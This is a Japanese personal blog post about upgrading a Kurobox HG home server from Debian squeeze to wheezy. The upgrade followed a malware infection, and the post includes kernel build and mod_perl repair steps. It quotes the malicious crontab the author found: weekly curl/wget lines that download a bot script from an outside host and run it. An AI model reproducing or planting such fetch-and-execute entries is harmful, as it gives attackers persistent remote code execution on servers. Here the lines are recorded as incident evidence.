玄箱HGをwheezyにアップグレード

先日、このサーバーにもShellshockの問題が見つかってbashを作り直したと書いたが、その2日後、サーバーに接続しづらくなっていることに気付いて、見てみるとマルウェアが走っていた。
apacheを動作させるアカウントで、このサーバーにはpnscanをインストールしていない(そんな名前の実行ファイルも存在しない)にもかかわらず、pnscanというポートスキャンのプログラムが走っており、これが接続しにくくしていたようだ。
また、netstatで見ると、知らないIPアドレスのSMTPポートに接続しっ放しになっていた。

そのアカウントのcrontabを見ると、

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/c installed on Sun Oct 12 12:55:19 2014)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
@weekly curl -o /tmp/sh http://stablehost.us/bots/regular.bot;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh
@weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh; >/dev/null 2>&1
となっていたので、10/5か10/12に突っ込まれ、10/12に発動したようだ。10/5にはまだこのサーバーにShellshockの問題が存在していたので、そこを突かれたか、pnscanはPOST -dでクラックされるPHPの脆弱性で突っ込まれる事例が多かったようであり、このサーバーではそれも放置していた(php-cgiはインストールしていないので大丈夫と思っていた)ので、そこを突かれたのかも知れない。

ともかく、どこに問題があったのかがわからないので、squeezeの使用を諦めて、wheezyにアップグレードすることにした。

以前にwheezyへのアップグレードに失敗してDebianが再起不能になったので敬遠していたのだが、カーネルを2.6.26以降にさえすれば成功することはわかっていたのである。今回、玄箱HG用のカーネルのコンパイルと起動方法を手取り足取り教えてくださる、unbelievablyに有難いWebページを見つけたので、カーネルの更新に成功し、それによってwheezyへのアップグレードにも成功した。

●squeezeからwheezyへのupgrade手順
・カーネルを2.6.26以降にする
 筆者が実施した手順は後述
・squeezeで最新状態にする
apt-get update
apt-get dist-upgrade
dpkg --audit #エラー状態の表示
・wheezyにupgradeする
/etc/apt/sources.listのsqueezeをwheezy(かstable)に変える
apt-get update
apt-get upgrade #最小アップグレード
apt-get dist-upgrade


筆者の環境では、wheezyへのupgrade後に発生した大きなトラブルは、mod_perl 1.3がSegmentation faultするようになったことくらいである。Perlが5.14になったことによる影響のようだ。
これを修復するのに色々面倒があったので、その過程を記録する。

・mod_perlのMakefile.PLでエラー
apache_1.3.42.tar.gzとmod_perl-1.31.tar.gzを取得して、昔と同じようにmakeすると、Makefile.PLでエラーになった。
昔成功したmod_perl-1.30.tar.gz でも同様だった。
これは、/bin/shをdashじゃなくbashにすると解消した。

これは過去にも経験して、これの為に/bin/shをbashにして、そのままでも良いかと放置して、Shellshockを食らう羽目になったことを、思い出した。

・mod_perlをmakeすると、コンパイルエラーになった
mod_perl-1.31は、Perl 5.14だとコンパイルエラーになることが知られている。
最新のリポジトリでは修正されており、これを

svn co https://svn.apache.org/repos/asf/perl/modperl/branches/1.x
として取得することにより、makeに成功した。

・apacheもコンパイルエラーになった
getlineという関数名が、最近のLinuxで使われるようになって干渉する問題である。
このページに書かれている、

sed -i 's/getline/apache_getline/' src/support/htdigest.c
sed -i 's/getline/apache_getline/' src/support/htpasswd.c
sed -i 's/getline/apache_getline/' src/support/logresolve.c
の3行を実行して解決した。

・CPANでApache::Requestをインストールしようとするとエラーになった

perl -MCPAN -e shell
としてコマンドラインを起動し、
install Apache::Request
とすると、
Couldn't untar ****.tar
Package seems to come without Makefile.PL.
Had problems unarchiving. Please build manually
というエラーになった。ついでに、
install CPAN
も同じエラーになった。
メモリ不足だとこのようになることがあるとの情報があり、実際、perlが大量のRAMとswapを大量に使っており、シェル上で何もやっても数分間無反応だったので、玄箱HGのメモリ不足が原因だと思われる。
CPANを手動インストールし、
perl -MCPAN -e 'install Apache::Request'
とすると、あっさり成功した。


■玄箱HG用のカーネルのコンパイル&起動に成功した手順
参考ページ:
カーネルのコンパイル(2.6.39.4): PersonalWorks@Seesaa
以下は、このページの内容とほぼ同じである(但し、iptablesを使用するための設定は省いている)。

前提:
玄箱に Debian 5.0 (lenny) をインストールする - Revulo's Laboratory
のページの、起動用に MontaVista Linux を用いる方法で、玄箱HGにlennyがインストールされていること。

概要:
この環境は、/dev/hda1のMontaVista Linuxが起動し、それから、/boot/にあるDebian用のカーネルが起動し、ルートディレクトリをDebianの一式がある/dev/hda3に差し替えるようになっている。
その/dev/hda1の/bootにあるカーネルと、/dev/hda3にあるモジュールを差し替える。

・開発ツールのインストール
aptitude install patch gcc libncurses5-dev bzip2 make uboot-mkimage

・カーネルのソースコードの取得とconfig

cd /usr/src
wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.39.4.tar.bz2
tar jxvf linux-2.6.39.4.tar.bz2
cd linux-2.6.39.4
make ARCH=powerpc linkstation_defconfig
cp -p ./.config ./.config.org
make menuconfig
→コンフィグ画面で以下の設定変更をする。
 Device Drivers
  Memory Technology Device (MTD) support <*>
   Mapping drivers for chip access
    Physmap compat support [*]
    Physical start address of flash mapping (0xffc00000)
    Physical length of flash mapping (0x400000)
    Bank width in octets (1)

・コンパイル
make oldconfig
make uImage
make modules
make modules_install

※筆者の観測では、make uImageは2時間半、make modulesは50分くらいかかった。

・Debianの/etc/fstabの変更
"/dev/hda"を"/dev/sda"に変更
または、それぞれの行の下に"/dev/hda"を"/dev/sda"にした行を追加

・MontaVista Linuxの/bootへのコピー
mkdir /mnt2
mount -t ext3 /dev/hda1 /mnt2
cp -p System.map /mnt2/boot/System.map
cp -p arch/powerpc/boot/uImage /mnt2/boot/vmlinux.UBoot
scripts/dtc/dtc -f -I dts -O dtb -o /mnt2/boot/kuroboxHG.dtb -V 16 arch/powerpc/boot/dts/kuroboxHG.dts

・新カーネルの起動試験用にMontaVista Linuxのみ起動
/mnt2/etc/kuro_boot.confの
bootdefault=2

bootdefault=1
に変更し、再起動

・MontaVista LinuxにU-Bootのローダーを設置
LinkStation/玄箱/kernel - PukiWiki
から uloader-2.4.17_mvl21.o と u-boot-1.2.0-hg.ram.bin をダウンロードし、バイナリエディタで u-boot-1.2.0-hg.ram.bin の"/dev/sda1"(2ヶ所)を"/dev/sda3"に書き換え、ftpで/boot/に転送

・MontaVista Linuxの起動スクリプトの変更
/etc/init.d/kuro_bootsel2.sh のinsmod用の引数処理を変更

--- /etc/init.d/kuro_bootsel2.sh.org
+++ /etc/init.d/kuro_bootsel2.sh
@@ -100,14 +100,20 @@
fi
if [ ! -f $2 ]; then
/bin/echo "Kernel does not exist."
- /boot/tools/kuro_morse F $AVR
- return 0;
+# /boot/tools/kuro_morse F $AVR
+# return 0;
fi
init_avr
/bin/sync; /bin/sync;
/bin/umount -a
/bin/mount -n -o remount,ro /
- /sbin/insmod $1 kernel=$2 $3
+# /sbin/insmod $1 kernel=$2 $3
+ if [ -f $2 ]; then
+ /sbin/insmod $1 kernel=$2 $3
+ else
+ /sbin/insmod $1 $2 $3
+ /sbin/init 6
+ fi

# insmod failed
/boot/tools/kuro_morse F $AVR

パッチ、これに従って手で書き換えても良いし、これをファイルに保存してpatch < (保存ファイル名)としても良い。

・起動試験
echo 'sync;insmod -f /boot/uloader-2.4.17_mvl21.o uboot=/boot/u-boot-1.2.0-hg.ram.bin laddr=0x07f00000 && init 6' >u-boot-load-hg.sh
chmod +x u-boot-load-hg.sh
sh u-boot-load-hg.sh

・起動用設定
mount -t ext3 /dev/sda1 /mnt2
→ /mnt2/etc/kuro_boot.confの
bootdefault=1

bootdefault=3
に変更、

# Menu entry No.3
#
menu3="Debian"
loader3="-f /boot/uloader-2.4.17_mvl21.o"
kernel3='uboot=/boot/u-boot-1.2.0-hg.ram.bin'
option3='laddr=0x07f00000'
を追加して再起動

※筆者はkuro_bootsel2.shの記述を一部間違えてしまったため、ここでbootdefault=3にするとLinuxが起動せず、echo -n "NGNG" > /dev/fl3(2.4カーネル用)や echo -n "NGNG" > /dev/mtdblock2(2.6カーネル用)とやりようが無いので、EMモードに入ることもできなくなった。
巷には、リセットボタン押し後再起動でEMモードに入るとか、リセットボタン押しながら起動でEMモードに入るとかいう情報があるが、確かにLEDの光り方は違ったが、筆者の玄箱HGはEMモードにはならなかった。
EMモードにさえ入れれば、bootdefault=1にして回復できるものを、それができなかった為に、HDDを玄箱HGから抜き出して、PCに接続してmountしてbootdefault=1にしてまた戻すという大変面倒な作業を、原因が判明するまで繰り返す羽目になった。もし、このHDDを接続できるPCが無ければ、玄箱のセットアッププログラムを使ってHDDを消去するしか無い所だった。
次にカーネルの入れ替えをする時は、3回に1回くらいは自動的にEMモードに落ちるようにMonta Vista Linuxの起動スクリプトを書き換えてから試そうと思った。